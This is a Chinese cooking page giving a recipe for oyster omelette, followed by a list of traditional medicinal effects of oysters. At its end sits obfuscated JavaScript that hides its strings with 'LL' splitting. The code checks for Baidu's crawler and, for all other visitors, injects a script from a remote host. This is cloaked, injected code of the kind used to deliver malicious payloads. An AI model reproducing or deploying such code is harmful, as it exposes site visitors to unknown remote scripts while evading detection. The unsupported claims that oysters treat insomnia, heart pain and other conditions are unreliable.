当前位置:首页 > 饮食 > 烹饪技巧 > 正文

生蚝煎蛋怎么做?你必须知道的牡蛎功效

2017-01-16 22:48:08  来源:360常识网   热度:
导语:在家居必备的食材中,鸡蛋可谓是家庭主妇们在烹饪时最爱选的高营养性食材了,而用生蚝煎蛋,也是大家最常选的一种做法。 牡蛎煎蛋 材料:牡

在家居必备的食材中,鸡蛋可谓是家庭主妇们在烹饪时最爱选的高营养性食材了,而用生蚝煎蛋,也是大家最常选的一种做法。

牡蛎煎蛋

材料:牡蛎350克、鸡蛋4个、淀粉、盐、胡椒粉、白酒、葱、红辣椒

牡蛎煎蛋的做法

1、牡蛎加少许的水清洗,控干水分

2、牡蛎加盐、少许白酒,一点点胡椒粉和少许的淀粉

3、轻轻的用手拌匀,腌制一会

4、鸡蛋打散,加少许的盐

5、平锅放少许的花生油,把牡蛎摆放,留出空间

6、反正煎熟,现在这个季节的牡蛎,感觉太肥了,感觉有点腻的,我喜欢略微煎的大一点

7、小火,慢慢倒入蛋液,用铲子把蛋液轻轻弄成圆的形状,加人少许的葱花和红辣椒圈点缀,煎至蛋液凝固即可

8、轻轻倒入盘子里面,香喷喷的牡蛎煎蛋就做好了,很好吃。

牡蛎的功效:

收敛固涩,清热益阴,软坚化痰,敛阴潜阳。主治盗汗、自汗、遗精、泄泻、崩漏、带下、惊痫、眩晕、瘰疬痰核、疝瘕,心痛、痈肿疮毒、失眠等。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}